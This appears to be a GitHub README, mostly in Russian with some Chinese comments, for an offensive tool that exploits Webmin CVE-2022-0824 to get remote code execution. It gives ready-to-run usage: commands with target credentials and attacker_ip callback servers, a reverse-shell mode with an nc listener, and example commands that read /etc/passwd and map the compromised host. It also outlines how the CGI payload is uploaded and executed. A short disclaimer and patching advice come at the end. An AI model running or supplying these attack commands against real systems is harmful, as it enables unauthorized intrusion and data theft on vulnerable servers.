Webmin-CVE-2022-0824-Enhanced-Exploit
[!IMPORTANT]
Webmin CVE-2022-0824 — улучшенный эксплойт-инструмент с поддержкой двух режимов: выполнение команд и reverse shell

[!IMPORTANT]
Улучшенный эксплойт для уязвимости Webmin CVE-2022-0824 с поддержкой двух режимов: прямое выполнение команд и reverse shell.
🚀 Возможности
- ✅ Поддержка двух режимов: режим выполнения команд + режим reverse shell
- ✅ Различные Payload'ы: три разных payload: Perl, Bash, Python
- ✅ Умное управление файлами: автоматическая генерация уникальных имён файлов, позволяющая избежать конфликтов
- ✅ Принудительная перезапись при загрузке: автоматическая обработка перезаписи уже существующих файлов
- ✅ Несколько способов загрузки: загрузка по HTTP, прямая загрузка, создание через выполнение команд
- ✅ Подробная отладочная информация: полное логирование процесса выполнения
- ✅ Дружественный интерфейс: цветной вывод и понятные статусные уведомления
📋 Информация об уязвимости
- Идентификатор CVE: CVE-2022-0824
- Затронутые версии: Webmin < 1.990
- Тип уязвимости: удалённое выполнение кода из-за произвольной загрузки файлов
- Оценка CVSS: 9.8 (Critical)
🛠️ Требования к установке
# Python 3.6+
pip3 install requests urllib3
📖 Использование
Режим выполнения команд (рекомендуется)
# 基本命令执行
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# 查看系统信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# 列出文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# 查看敏感文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# 网络信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
Режим reverse shell
# 1. 启动监听器
nc -nlvp 9999
# 2. 执行漏洞利用
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
📝 Описание параметров
| Параметр | Описание | Обязателен | Пример |
|---|
-t, --target | Целевой URL Webmin | ✅ | http://192.168.1.100:10000/ |
-c, --credential | Учётные данные для входа | ✅ | admin:password |
-LS, --py3http_server | Адрес HTTP-сервера | ✅ | 192.168.1.50:8080 |
--shell | Команда для выполнения | ❌ | "ls -la" |
-L, --callback_ip | IP для обратного подключения reverse shell | ❌* | 192.168.1.50 |
-P, --callback_port | Порт для обратного подключения reverse shell | ❌* | 9999 |
*Примечание: обязателен в режиме reverse shell
🎯 Примеры использования
Пример 1: сбор информации о системе
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
Пример 2: исследование файловой системы
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
Пример 3: просмотр конфигурации сети
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
🔧 Принцип работы
- Проверка подлинности: вход в интерфейс управления Webmin с использованием предоставленных учётных данных
- Генерация Payload: создание соответствующего CGI-скрипта в зависимости от режима
- Загрузка файла: загрузка payload через функцию HTTP-загрузки файлового менеджера
- Настройка прав: установка прав на выполнение для загруженного файла
- Выполнение команды: обращение к загруженному CGI-скрипту для выполнения команды или установки обратного соединения
🛡️ Рекомендации по защите
- Своевременно обновляйте Webmin до последней версии (>= 1.990)
- Ограничьте сетевой доступ к интерфейсу управления Webmin
- Используйте надёжные пароли и двухфакторную аутентификацию
- Регулярно проверяйте системные журналы
- Разверните межсетевой экран для веб-приложений (WAF)
⚠️ Отказ от ответственности
Данный инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.
- 🚫 Запрещено использование против неавторизованных систем
- 🚫 Запрещено использование для вредоносных атак
- 🚫 Пользователь несёт соответствующую юридическую ответственность
- ✅ Используйте только в средах с явно выданным разрешением
- ✅ Для исследований в области безопасности и проверки уязвимостей
📚 Технические детали
Типы Payload
- Perl CGI: основной payload, наилучшая совместимость
- Bash CGI: запасной payload, подходит для Linux-систем
- Python CGI: запасной payload, наиболее функциональный
Способы загрузки
- Загрузка по HTTP: через функцию удалённой загрузки файлового менеджера Webmin
- Прямая загрузка: через интерфейс загрузки файлов
- Создание командой: создание файла с помощью системной команды
Стратегия именования файлов
- MD5-хеш на основе содержимого команды
- Суффикс с временной меткой
- Обеспечивает использование уникального имени файла при каждом выполнении
🔄 Журнал обновлений
v5.0 (2025-08-05)
- ✨ Добавлен режим выполнения команд
- 🐛 Исправлена проблема перезаписи файлов
- 🔧 Улучшена стратегия именования файлов
- 📈 Улучшена обработка ошибок
v4.0 (на основе оригинала)
- 🎯 На основе оригинального кода faisalfs10x
- 🔧 Улучшена совместимость с CGI
- 📝 Добавлены подробные журналы
🤝 Вклад
Приветствуются Issue и Pull Request!
- Форкните этот проект
- Создайте ветку для новой функции (
git checkout -b feature/AmazingFeature)
- Зафиксируйте изменения (
git commit -m 'Add some AmazingFeature')
- Отправьте в ветку (
git push origin feature/AmazingFeature)
- Откройте Pull Request
📄 Лицензия
Этот проект распространяется под лицензией MIT — подробнее см. в файле LICENSE
🙏 Благодарности
📞 Контакты
Если у вас есть вопросы или предложения, свяжитесь с нами следующим образом:
- 📧 Отправьте GitHub Issue
- 🐛 О проблемах безопасности сообщайте в личные сообщения
⭐ Если этот проект оказался вам полезен, поставьте Star в знак поддержки!
🔗 Связанные ссылки
requirements.txt
requests>=2.25.1
urllib3>=1.26.0